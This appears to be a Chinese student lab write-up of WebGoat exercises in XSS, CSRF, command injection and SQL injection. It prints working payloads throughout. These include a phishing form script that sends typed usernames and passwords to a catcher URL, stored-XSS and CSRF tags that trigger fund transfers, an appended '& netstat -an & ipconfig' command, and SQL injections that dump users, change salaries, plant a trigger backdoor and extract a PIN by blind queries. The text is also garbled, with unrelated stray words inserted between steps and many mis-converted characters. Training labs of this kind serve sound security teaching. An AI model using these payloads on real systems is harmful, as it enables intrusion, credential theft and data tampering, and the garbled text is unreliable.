對於用戶修改刪除等操做使用 post 操做前端
此次實驗作的可能是關於Web安全的練習,練習內容比較豐富,主要是SQL注入、CSRF攻擊、XSS攻擊三個部分的內容。經過學習實踐對web開發常見的安全問題有了必定的瞭解。java
java -jar webgoat-container-7.0.1-war-exec.jar
開啓WebGoat。在瀏覽器地址欄輸入localhost:8080/WebGoat
打開WebGoat,選擇默認帳號、密碼登錄。
web
編寫一個包含用戶名、密碼的前端代碼:sql
<head> <body> <div> <div style="float:left;height:100px;width:50%;background-color:green;"></div> <div style="float:left;height:100px;width:50%;background-color:red;"></div> </div> <div style="background-color:blue;height:200px;clear:both;"></div> </div></div> </form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR> </body> </head>
Cross-Site Scripting(XSS)
,打開Phishing with XSS
search
出現登陸框:點擊登陸後跳出包含用戶名和密碼的彈框:
數據庫
Stored XSS Attacks
,在Message
框中輸入<script>alert("I am 20155330");</script>
提交點擊提交後彈出顯示I am 20155330
的對話框。攻擊成功!
瀏覽器
<script>alert("I am 20155330");</script>
點擊Purchase
出現顯示I am 20155330
的對話框。攻擊成功!
安全
Parameters
中的src
和menu
的值。<img src='attack?Screen=src值&menu=menu值&transferFunds=轉帳數額' width='1' height='1'>
點擊連接查看用戶操做的信息,攻擊成功。
服務器
Parameters
中的src
和menu
的值。在Title中輸入學號,Message中輸入代碼:<iframe src="attack?Screen=src值&menu=menu值&transferFunds=轉帳數額"> </iframe> <iframe src="attack?Screen=src值&menu=menu值&transferFunds=CONFIRM"> </iframe>
點擊連接查看用戶操做的信息,攻擊成功。
網絡
BackDoors.help
旁邊加上"& netstat -an & ipconfig"
:選中修改後的值再點view,能夠看到命令被執行,出現系統網絡鏈接狀況
xss
101
旁邊加上or 1=1
:選中Columbia,點Go,能夠看到全部天氣數據:
在User Name
文本框中輸入zy%0d%0aLogin Succeeded for username: admin
(%0d
是回車,%0a
是換行符),點擊登陸,攻擊成功。
在文本框中輸入' or 1='1
。點Go
,全部用戶信息被顯示,攻擊成功。
' or 1='1
進行SQL注入,注入前需對密碼文本框的字符長度進行修改。登陸成功。
Stage1
中的登陸方法以用戶名Larry登陸,登陸以後看到瀏覽員工信息的按鈕是ViewProfile
。利用Firebug將ViewProfile
的value
值改成101 or 1=1 order by salary desc --
。查看到老闆信息。
101; update employee set salary=10000
,把該用戶的工資漲到10000:使用語句101;CREATE TRIGGER lxmBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20155330@163.com' WHERE userid = NEW.userid
建立一個後門,把表中全部的郵箱和用戶ID都設爲
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
查看pin數值是否大於10000通過不斷嘗試,慢慢縮小範圍,最終能夠肯定pin的值在2300到2400之間。而後再嘗試2300到2350或2350到2400,最後肯定pin值爲2364。